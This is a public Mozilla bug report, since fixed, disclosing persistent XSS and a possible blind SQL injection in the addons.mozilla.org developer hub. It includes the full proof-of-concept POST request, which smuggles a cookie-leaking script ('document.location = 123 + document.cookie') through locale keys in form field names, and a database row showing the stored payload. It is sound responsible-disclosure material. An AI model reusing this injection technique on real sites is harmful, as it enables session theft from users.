Blind SQLi and persistent XSS vulnerabilities in developer hub

VERIFIED FIXED

Status

addons.mozilla.org Graveyard
Developer Pages
--
critical
VERIFIED FIXED
7 years ago
a year ago

People

(Reporter: Jаmes Kettle, Assigned: clouserw)

Tracking

(Blocks: 1 bug, {wsec-xss})

unspecified
wsec-xss
Bug Flags:
sec-bounty +

Details

(Whiteboard: [infrasec:sqlinject][ws:critical], URL)

Attachments

(1 attachment)

(Reporter)

Description

7 years ago
User-Agent:       Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Build Identifier: 

In a similar but more severe manner to Bug 606712, many pages in the developer hub do not sanitise input, allowing malicious users to inject arbitrary javascript despite 10 character limit on the input size. I have created a proof-of-concept at https://addons.mozilla.org/en-US/developers/previews/269982/ It may only operate if the viewer has write-permission on it. Since write permission can be granted to anyone without their consent, I think this can essentially affect any user with an account. 

The following pages are affected, but I've probably missed some:
https://addons.mozilla.org/en-US/developers/previews/*/
https://addons.mozilla.org/en-US/developers/addon/edit/*/descriptions
https://addons.mozilla.org/en-US/developers/addon/edit/*/profile

Reproducible: Always

Steps to Reproduce:
1.View https://addons.mozilla.org/en-US/developers/previews/269979/
1.5 Or view the attached HTML page which is exactly the same.
2.Note that it uses javascript to write your cookie to the URL

Alternatively, visit one of the mentioned pages with an intercepting proxy and try changing a value in the POST request from en-us to anything else 10 chars or less.


Expected Results:  
The language setting code should use a whitelist and thus disallow made up languages.

All XSS attacks could be mitigated by adding the HTTPONLY flag to cookies. Some site functionality may rely on the absence of this flag.

This is the request that created the proof-of-concept. Naturally some of the numbers would need to be altered for it to work on another page.

POST /en-US/developers/previews/269982/ HTTP/1.1


-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][en-US]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][<script>/*]"



*/document.location = 123 + document.cookie;/*

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52295][caption][ro]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][52295]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][Delete][52295]"



false

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][en-US]"





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][\t*///]"



2
-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][52296][caption][\n</script>]"



3
-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][52296]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][Delete][52296]"



false

-----------------------------7242506752080258940513087955

Content-Disposition: form-data; name="data[Preview][New][]"; filename=""

Content-Type: application/octet-stream





-----------------------------7242506752080258940513087955--
(Reporter)

Comment 1

7 years ago
Created attachment 500959 [details]
A copy of the proof-of-concept page
(Reporter)

Updated

7 years ago
Whiteboard: [infrasec:xss]
mysql> select * from translations where id=1594097;
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
| autoid  | id      | locale     | localized_string                               | localized_string_clean | created             | modified |
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
| 1677755 | 1594097 | <script>/* | */document.location = 123 + document.cookie;/* | NULL                   | 2011-01-03 17:28:49 | NULL     | 
+---------+---------+------------+------------------------------------------------+------------------------+---------------------+----------+
Status: UNCONFIRMED → NEW
Ever confirmed: true
OS: Linux → All
Hardware: x86_64 → All
Whiteboard: [infrasec:xss]
Whiteboard: [infrasec:xss]
(Reporter)

Comment 3

7 years ago
On further thought, it is quite possibly also vulnerable to SQL injection. At least, requests failed if I included ' but worked fine with \'

I have refrained from testing this since I didn't want to risk mangling the database.

SQL injection is considerably more serious than persistent XSS.
(Assignee)

Comment 4

7 years ago
Can you verify if this is fixed on https://addons.allizom.org/ ?
(Assignee)

Comment 5

7 years ago
Actually, there was the possibility of a blind SQL injection here with an apppropriately formed payload so I've pushed the fix to production and blanked your inputs up to this point (they'll show up as numbers for now, but I'll delete them when it's not the middle of the night).
Assignee: nobody → clouserw
Status: NEW → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
Whiteboard: [infrasec:xss] → [infrasec:xss][ws:critical]
(Reporter)

Updated

7 years ago
Summary: Persistent XSS vulnerability in developer hub → Blind SQLi and persistent XSS vulnerabilities in developer hub
Whiteboard: [infrasec:xss][ws:critical] → [infrasec:xss][ws:critical][infrasec:sqlinject]
Whiteboard: [infrasec:xss][ws:critical][infrasec:sqlinject] → [infrasec:sqlinject][ws:critical]
Has this been deployed? What is the status?  What was the end analysis of the risk, is this definitely a blind sql injection? If so, are there any size limitations to the injected characters?
(Assignee)

Comment 8

6 years ago
This was fixed the same day it was reported.  I don't think there were size limitations.
(Reporter)

Comment 9

6 years ago
The size limits that I referred to in the original description were in the XSS. I presume that they were simply due to the size of the cell the data was stored in, and so wouldn't affect SQL injection.
(Reporter)

Comment 12

6 years ago
Could this report be made public since the bug's been long fixed?
(Reporter)

Updated

6 years ago
Status: RESOLVED → VERIFIED
(In reply to comment #12)
> Could this report be made public since the bug's been long fixed?

Yep. Done.
Group: client-services-security

Updated

4 years ago
Blocks: 835438
Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.
Keywords: wsec-xss
Flags: sec-bounty+
Product: addons.mozilla.org → addons.mozilla.org Graveyard
You need to log in before you can comment on or make changes to this bug.